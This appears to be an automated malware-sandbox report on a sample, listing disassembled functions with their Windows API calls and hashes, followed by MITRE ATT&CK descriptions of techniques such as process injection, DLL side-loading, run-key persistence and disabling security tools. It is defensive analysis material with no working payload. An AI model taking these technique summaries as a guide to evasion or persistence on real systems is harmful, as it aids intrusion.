API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 201b09a7c41757c584348a508966e198ea4dcb4cf593c50ce3065e50c72b09c8
Instruction ID: 344b1a1aafc57d92ef3420fbb6ea073f040eaf053ac67e0a52013d730fae17ae
Opcode Fuzzy Hash: 201b09a7c41757c584348a508966e198ea4dcb4cf593c50ce3065e50c72b09c8
Instruction Fuzzy Hash: A9E01AB4C00201DFCB51AFE08908A6DBBB5FB48310F10C859E81AF3210CB3959459F08

Function 003CEBEA Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003CEBEA
GetDC.USER32(00000000), ref: 003CEBF4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003CEC00
ReleaseDC.USER32(?), ref: 003CEC21

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: f57e7ba46627356cd61d756bdca0ac123c5a3b7835d30cf5010b9042e6330c09
Instruction ID: d7f1d3080d0add8f223cdc54281e2175f0d55d37ee2834fe3fcd9cece82435ba
Opcode Fuzzy Hash: f57e7ba46627356cd61d756bdca0ac123c5a3b7835d30cf5010b9042e6330c09
Instruction Fuzzy Hash: E2E01AB0C00200DFCB51AFA08908A6DBBB5BB48310F108859E91EB3210C73959059F04

Function 0039E60D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0039E69D

Strings

pow, xrefs: 0039E675, 0039E692

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 6c4102e1cd4f6ba30793f45dfeeaa27d63f080d07eac0a09e959a993cd23cd84
Instruction ID: 9b92a4e375102d732d15d803404fd73598c29b8b9819d6040746a55f5de53c5f
Opcode Fuzzy Hash: 6c4102e1cd4f6ba30793f45dfeeaa27d63f080d07eac0a09e959a993cd23cd84
Instruction Fuzzy Hash: FD516C61E0820296DF13FB14CD013BE2BA4EB52741F358D69F0D5862E9EF358CD69B4A

Function 0038A86C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0038A896

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 8e9d7f912e5bc137093689e0f0ff913cf278292fd1fa5c4341c5a25ac2ea10ec
Instruction ID: 6320446979cb32ebc340eb63029af2185a13670c87237a08947beebcd583bcaa
Opcode Fuzzy Hash: 8e9d7f912e5bc137093689e0f0ff913cf278292fd1fa5c4341c5a25ac2ea10ec
Instruction Fuzzy Hash: EF51033550834ADFDF2AEF29C440BBA77A4EF15310F66409AE891DB290DB349E42C761

Function 003F60A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?), ref: 003F613D
_wcslen.LIBCMT ref: 003F6149

Strings

CALLARGARRAY, xrefs: 003F6143, 003F6148

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 3cee7f633cee267b5753f3c2286802ae20978d894e363dd8de34ea1ee48c5877
Instruction ID: 925f655af18f05d8519ed51fc5c0c7c27d26ac4540eec3dbf20ec2e9c63669ff
Opcode Fuzzy Hash: 3cee7f633cee267b5753f3c2286802ae20978d894e363dd8de34ea1ee48c5877
Instruction Fuzzy Hash: E141B371A002199FCB15EFA8C8868FEBBB5FF59310F15406AE506AB353EB749D81CB50

Function 00404E96 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00404F7E
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00404F93

Strings

', xrefs: 00404EED

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 098766efd6793684c7e8de854835f00c3767c648433ffc7b46b9543c59010a98
Instruction ID: 335103a81333562ec47380351023c85b6e373a237a063395ef6a1a02bec50024
Opcode Fuzzy Hash: 098766efd6793684c7e8de854835f00c3767c648433ffc7b46b9543c59010a98
Instruction Fuzzy Hash: CC312CB4A0130A9FDB14CFA9C980BDA7BB5FF89304F10417AEA05AB391D774A941CF94

Function 0040406F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0037771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00377759
Part of subcall function 0037771B: GetStockObject.GDI32(00000011), ref: 0037776D
Part of subcall function 0037771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 00377777

GetWindowRect.USER32(00000000,?), ref: 004040D9
GetSysColor.USER32(00000012), ref: 004040F3

Strings

static, xrefs: 004040B6

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 22ef7fb4c1f2a40f1563e6b7924cf6f12b90f3205da99c21d122e154f410ed4d
Instruction ID: f51fc881e7262e2a4a889d34feffe5d417ea85b88258031dd60a0409b7b6e749
Opcode Fuzzy Hash: 22ef7fb4c1f2a40f1563e6b7924cf6f12b90f3205da99c21d122e154f410ed4d
Instruction Fuzzy Hash: C0116A72610209AFDB00DFA8CC45AFA7BB8FB48314F004929FE55E3290E678E851DB64

Function 003D256E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 003D25DC

Strings

ComboBox, xrefs: 003D257B
ListBox, xrefs: 003D25A6

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 85821ead07cff2ddee9539fa417f4b8402b1dcdc324210e7005d9ef33595fe86
Instruction ID: 7b7e2f0e4a8a82d37fb7f485283597d94d9f5e51096c56b4b4bb55e75dee915b
Opcode Fuzzy Hash: 85821ead07cff2ddee9539fa417f4b8402b1dcdc324210e7005d9ef33595fe86
Instruction Fuzzy Hash: C901F972600115ABCB16EB64EC15DFFF779AF66310B04461AE862573D6EB3458088750

Function 003D2468 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,00000180,00000000,?), ref: 003D24D6

Strings

ComboBox, xrefs: 003D2475
ListBox, xrefs: 003D24A0

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 3c79f8bca389c3fc87d54670743dd77e37a87007c2e9cae54fabae016ddb312d
Instruction ID: 796cc2f3411c121f7adf196e1f1d991165492a939d280d95ffb0eb63277cccbb
Opcode Fuzzy Hash: 3c79f8bca389c3fc87d54670743dd77e37a87007c2e9cae54fabae016ddb312d
Instruction Fuzzy Hash: F301FC72A0010567CB26EBA0D911FFFB7B89F55300F140017B84267382DB249E08C671

Function 003D24EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,00000182,?,00000000), ref: 003D2558

Strings

ComboBox, xrefs: 003D24F9
ListBox, xrefs: 003D2524

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 7020e313a9e7a26c2cd7e498ef1fd119311f6d84f60ca3ceb3133f4d26014a58
Instruction ID: d3356822c86078378e5fe1b72edd215f4ed4727e15f83eff15c07794e831ce86
Opcode Fuzzy Hash: 7020e313a9e7a26c2cd7e498ef1fd119311f6d84f60ca3ceb3133f4d26014a58
Instruction Fuzzy Hash: 2601A772A4010567CB26EBA4E915FFFF7B99F26740F144016B44177386EA289F088671

Function 003D25F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 003D2663

Strings

ComboBox, xrefs: 003D2605
ListBox, xrefs: 003D2630

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: fc28bec0e417e569249336d086a23df2012ab9d232fccb9da11cafdce4bea715
Instruction ID: 3be0e03ab8fd137cab80d89bf589b8a2923aa46d4f3225fbb97285957bc711d7
Opcode Fuzzy Hash: fc28bec0e417e569249336d086a23df2012ab9d232fccb9da11cafdce4bea715
Instruction Fuzzy Hash: 7CF0F972A40215A7C726E7A4AC51FFFB778AF11710F040916B462673C2DBB498088664

Function 00408AD1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00444018,0044405C), ref: 00408B1E
CloseHandle.KERNEL32 ref: 00408B30

Strings

\@D, xrefs: 00408AE9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \@D
API String ID: 3712363035-456115274
Opcode ID: c1eb662a6657570a45d406fd5c6d937d76e974d1a2edeb3ec3685b01f792e187
Instruction ID: 1f91f813065c6883ea3c41ad7a607fdf3f7a5ba4558f93a578b1ae26b0d31a21
Opcode Fuzzy Hash: c1eb662a6657570a45d406fd5c6d937d76e974d1a2edeb3ec3685b01f792e187
Instruction Fuzzy Hash: B0F05EB6940704BBF7206BA0AC46FB73A9CDB46751F004031BB08EA192D67A4C6492BC

Function 00402C81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00402C8B
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00402C9E

Part of subcall function 003DF1A7: Sleep.KERNEL32 ref: 003DF21F

Strings

Shell_TrayWnd, xrefs: 00402C84

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ace7b865051b7b90475dba5a856b6d2ec1a20e065eacf387629a383d691dc2c9
Instruction ID: fd85acc2fa9cf60343d2ba5e5f3fc44f5de5762a89998ccbe9d6ef80b33420b3
Opcode Fuzzy Hash: ace7b865051b7b90475dba5a856b6d2ec1a20e065eacf387629a383d691dc2c9
Instruction Fuzzy Hash: FBD0A936784300BAF228B3B0ED0FFCA6A04AB40B00F000922724AAA1C0CAB0A801C688

Function 00402CB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00402CCB
PostMessageW.USER32(00000000), ref: 00402CD2

Part of subcall function 003DF1A7: Sleep.KERNEL32 ref: 003DF21F

Strings

Shell_TrayWnd, xrefs: 00402CC4

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 259b0d884135d9435ba0666c0d05849a0e0585138cae55be32203862df2ff814
Instruction ID: 93904e0cadb13e02b698abd0cb8b1c5593b97f6ead4127b20c56c4caf3b1a81c
Opcode Fuzzy Hash: 259b0d884135d9435ba0666c0d05849a0e0585138cae55be32203862df2ff814
Instruction Fuzzy Hash: BDD0A9327C03007AF228B3B0ED0FFCA6A04AB44B00F0009227246AA1C0CAB0A801C68C

Function 003AC19D Relevance: 5.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 003AC233
GetLastError.KERNEL32 ref: 003AC241
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 003AC29C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 5a4666ec9c942661e3c34762ce5696dee0d7ffc795c6331bb368b1d4c9512895
Instruction ID: ee2d59a670d31bbb92f8e98643a68ee8496fdc566fdc0e79b1a6fa006af5f5ec
Opcode Fuzzy Hash: 5a4666ec9c942661e3c34762ce5696dee0d7ffc795c6331bb368b1d4c9512895
Instruction Fuzzy Hash: 7941B631610206EFCF279FE9C844BBA7BA9EF47710F265569E859AB1A1DB308D01C790

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

